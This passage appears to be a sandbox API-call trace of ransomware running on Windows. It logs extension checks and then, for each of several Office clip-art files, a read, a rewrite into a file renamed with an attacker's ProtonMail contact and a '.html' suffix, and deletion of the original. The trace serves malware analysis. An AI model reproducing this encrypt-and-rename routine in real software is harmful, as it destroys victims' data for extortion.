	[0174.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0174.952] lstrlenW (lpString=".dbf") returned 4
	[0174.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0174.952] lstrlenW (lpString=".1cd") returned 4
	[0174.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0174.952] lstrlenW (lpString=".jpg") returned 4
	[0174.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.952] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0174.953] lstrlenW (lpString="HH00241_.WMF") returned 12
	[0174.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0175.050] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=1960) returned 1
	[0175.050] CloseHandle (hObject=0x5b4) returned 1
	[0175.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x220
	[0175.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0175.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0175.063] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.063] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0175.064] GetLastError () returned 0x0
	[0175.064] ReadFile (in: hFile=0x5b4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x7a8, lpOverlapped=0x0) returned 1
	[0175.066] WriteFile (in: hFile=0x594, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x7b0, lpOverlapped=0x0) returned 1
	[0175.067] ReadFile (in: hFile=0x5b4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.067] WriteFile (in: hFile=0x594, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.067] SetEndOfFile (hFile=0x594) returned 1
	[0175.067] CloseHandle (hObject=0x594) returned 1
	[0175.068] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.068] SetEndOfFile (hFile=0x5b4) returned 1
	[0175.070] CloseHandle (hObject=0x5b4) returned 1
	[0175.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0175.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 1
	[0175.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0175.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0175.071] lstrlenW (lpString=".doc") returned 4
	[0175.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.071] lstrlenW (lpString=".docx") returned 5
	[0175.071] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0175.071] lstrlenW (lpString=".pdf") returned 4
	[0175.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.071] lstrlenW (lpString=".xls") returned 4
	[0175.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.071] lstrlenW (lpString=".xlsx") returned 5
	[0175.072] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0175.072] lstrlenW (lpString=".ppt") returned 4
	[0175.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0175.072] lstrlenW (lpString=".zip") returned 4
	[0175.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.072] lstrlenW (lpString=".rar") returned 4
	[0175.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.072] lstrlenW (lpString=".bz2") returned 4
	[0175.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.072] lstrlenW (lpString=".7z") returned 3
	[0175.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0175.072] lstrlenW (lpString=".dbf") returned 4
	[0175.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0175.072] lstrlenW (lpString=".1cd") returned 4
	[0175.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0175.072] lstrlenW (lpString=".jpg") returned 4
	[0175.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0175.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0175.072] lstrlenW (lpString=".doc") returned 4
	[0175.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.072] lstrlenW (lpString=".docx") returned 5
	[0175.072] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0175.072] lstrlenW (lpString=".pdf") returned 4
	[0175.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.073] lstrlenW (lpString=".xls") returned 4
	[0175.073] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.073] lstrlenW (lpString=".xlsx") returned 5
	[0175.073] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0175.073] lstrlenW (lpString=".ppt") returned 4
	[0175.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0175.073] lstrlenW (lpString=".zip") returned 4
	[0175.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.073] lstrlenW (lpString=".rar") returned 4
	[0175.073] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.073] lstrlenW (lpString=".bz2") returned 4
	[0175.073] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.073] lstrlenW (lpString=".7z") returned 3
	[0175.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0175.073] lstrlenW (lpString=".dbf") returned 4
	[0175.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0175.073] lstrlenW (lpString=".1cd") returned 4
	[0175.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0175.073] lstrlenW (lpString=".jpg") returned 4
	[0175.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.073] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0175.074] lstrlenW (lpString="HH00260_.WMF") returned 12
	[0175.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0175.074] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=3662) returned 1
	[0175.074] CloseHandle (hObject=0x5b4) returned 1
	[0175.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x220
	[0175.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0175.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0175.075] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.075] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0175.076] GetLastError () returned 0x0
	[0175.076] ReadFile (in: hFile=0x5b4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0xe4e, lpOverlapped=0x0) returned 1
	[0175.078] WriteFile (in: hFile=0x594, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xe50, lpOverlapped=0x0) returned 1
	[0175.079] ReadFile (in: hFile=0x5b4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.079] WriteFile (in: hFile=0x594, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.079] SetEndOfFile (hFile=0x594) returned 1
	[0175.079] CloseHandle (hObject=0x594) returned 1
	[0175.079] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.079] SetEndOfFile (hFile=0x5b4) returned 1
	[0175.084] CloseHandle (hObject=0x5b4) returned 1
	[0175.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0175.085] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 1
	[0175.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0175.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0175.085] lstrlenW (lpString=".doc") returned 4
	[0175.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.085] lstrlenW (lpString=".docx") returned 5
	[0175.085] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0175.085] lstrlenW (lpString=".pdf") returned 4
	[0175.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.086] lstrlenW (lpString=".xls") returned 4
	[0175.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.086] lstrlenW (lpString=".xlsx") returned 5
	[0175.086] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0175.086] lstrlenW (lpString=".ppt") returned 4
	[0175.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0175.086] lstrlenW (lpString=".zip") returned 4
	[0175.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.086] lstrlenW (lpString=".rar") returned 4
	[0175.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.086] lstrlenW (lpString=".bz2") returned 4
	[0175.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.086] lstrlenW (lpString=".7z") returned 3
	[0175.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0175.086] lstrlenW (lpString=".dbf") returned 4
	[0175.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0175.086] lstrlenW (lpString=".1cd") returned 4
	[0175.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0175.086] lstrlenW (lpString=".jpg") returned 4
	[0175.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0175.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0175.086] lstrlenW (lpString=".doc") returned 4
	[0175.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.087] lstrlenW (lpString=".docx") returned 5
	[0175.087] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0175.087] lstrlenW (lpString=".pdf") returned 4
	[0175.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.087] lstrlenW (lpString=".xls") returned 4
	[0175.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.087] lstrlenW (lpString=".xlsx") returned 5
	[0175.087] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0175.087] lstrlenW (lpString=".ppt") returned 4
	[0175.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0175.087] lstrlenW (lpString=".zip") returned 4
	[0175.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.087] lstrlenW (lpString=".rar") returned 4
	[0175.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.087] lstrlenW (lpString=".bz2") returned 4
	[0175.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.087] lstrlenW (lpString=".7z") returned 3
	[0175.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0175.087] lstrlenW (lpString=".dbf") returned 4
	[0175.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0175.087] lstrlenW (lpString=".1cd") returned 4
	[0175.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0175.087] lstrlenW (lpString=".jpg") returned 4
	[0175.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.088] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0175.088] lstrlenW (lpString="HH00276_.WMF") returned 12
	[0175.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0175.089] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=3016) returned 1
	[0175.089] CloseHandle (hObject=0x5b4) returned 1
	[0175.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x220
	[0175.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0175.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0175.090] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.090] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0175.091] GetLastError () returned 0x0
	[0175.091] ReadFile (in: hFile=0x5b4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0xbc8, lpOverlapped=0x0) returned 1
	[0175.105] WriteFile (in: hFile=0x594, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xbd0, lpOverlapped=0x0) returned 1
	[0175.107] ReadFile (in: hFile=0x5b4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.107] WriteFile (in: hFile=0x594, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.107] SetEndOfFile (hFile=0x594) returned 1
	[0175.107] CloseHandle (hObject=0x594) returned 1
	[0175.107] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.107] SetEndOfFile (hFile=0x5b4) returned 1
	[0175.110] CloseHandle (hObject=0x5b4) returned 1
	[0175.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0175.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 1
	[0175.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0175.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0175.111] lstrlenW (lpString=".doc") returned 4
	[0175.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.111] lstrlenW (lpString=".docx") returned 5
	[0175.111] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0175.111] lstrlenW (lpString=".pdf") returned 4
	[0175.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.112] lstrlenW (lpString=".xls") returned 4
	[0175.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.112] lstrlenW (lpString=".xlsx") returned 5
	[0175.112] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0175.112] lstrlenW (lpString=".ppt") returned 4
	[0175.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0175.112] lstrlenW (lpString=".zip") returned 4
	[0175.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.112] lstrlenW (lpString=".rar") returned 4
	[0175.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.112] lstrlenW (lpString=".bz2") returned 4
	[0175.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.112] lstrlenW (lpString=".7z") returned 3
	[0175.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0175.112] lstrlenW (lpString=".dbf") returned 4
	[0175.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0175.112] lstrlenW (lpString=".1cd") returned 4
	[0175.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0175.112] lstrlenW (lpString=".jpg") returned 4
	[0175.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0175.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0175.112] lstrlenW (lpString=".doc") returned 4
	[0175.112] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.112] lstrlenW (lpString=".docx") returned 5
	[0175.113] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0175.113] lstrlenW (lpString=".pdf") returned 4
	[0175.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.113] lstrlenW (lpString=".xls") returned 4
	[0175.113] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.113] lstrlenW (lpString=".xlsx") returned 5
	[0175.113] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0175.113] lstrlenW (lpString=".ppt") returned 4
	[0175.113] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0175.113] lstrlenW (lpString=".zip") returned 4
	[0175.113] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.113] lstrlenW (lpString=".rar") returned 4
	[0175.113] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.113] lstrlenW (lpString=".bz2") returned 4
	[0175.113] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.113] lstrlenW (lpString=".7z") returned 3
	[0175.113] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
